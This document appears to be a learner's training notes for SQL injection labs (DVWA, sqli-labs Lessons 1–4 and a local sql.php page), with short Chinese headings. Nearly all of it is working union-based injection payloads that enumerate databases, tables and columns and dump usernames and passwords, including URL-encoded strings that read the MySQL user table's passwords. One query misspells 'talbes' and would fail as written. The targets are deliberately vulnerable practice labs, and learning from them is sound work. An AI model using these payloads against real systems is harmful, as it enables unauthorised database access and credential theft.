1' and 2=1 union select 1,database() -- -
1000' union select 1,(select group_concat(table_name) from information_schema.talbes where table_schema='dvwa') -- -
1000' union select 1,(select group_concat(concat_ws(0x7e,column_name))from information_schema.columns where table_schema ='dvwa' and table_name='users') -- -
1000' union select 1,(select group_concat(concat_ws(0x7e,user_id,first_name,last_name,user,password,avatar,last_login,failed_login))from users ) -- -
中难度
high
训练
1 http://localhost/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,database(),3 -- -
http://localhost/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 -- --- -
http://localhost/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,(select group_concat(concat_ws(0x7e,column_name))from information_schema.columns where table_schema ='security' and table_name='users'),3 -- --- -
http://localhost/sqli-labs-master/Less-1/?id=1000' union select 1,(select group_concat(concat_ws(0x7e,id,username,password))from users ),3 -- -
2
http://localhost/sqli-labs-master/Less-2/?id=1000 union select 1,(select group_concat(concat_ws(0x7e,id,username,password))from users ),3 -- -
3.http://localhost/sqli-labs-master/Less-3/?id=1000') union select 1,(select group_concat(concat_ws(0x7e,id,username,password))from users ),3 -- -
4.
http://localhost/sqli-labs-master/Less-4/?id=1000") union select 1,(select group_concat(concat_ws(0x7e,id,username,password))from users ),3 -- -
3题
http://localhost/sql.php?parm=%27and%201=2%20%27%20%20union%20select%20(select%20group_concat(concat_ws(0x7e,column_name))from%20information_schema.columns%20where%20table_schema%20=%27mysql%27%20and%20table_name=%27user%27)%20,database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database()
http://localhost/sql.php?parm=%27and%201=2%20%27%20%20union%20select%20(select%20group_concat(concat_ws(0x7e,password))from%20user%20),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database(),database()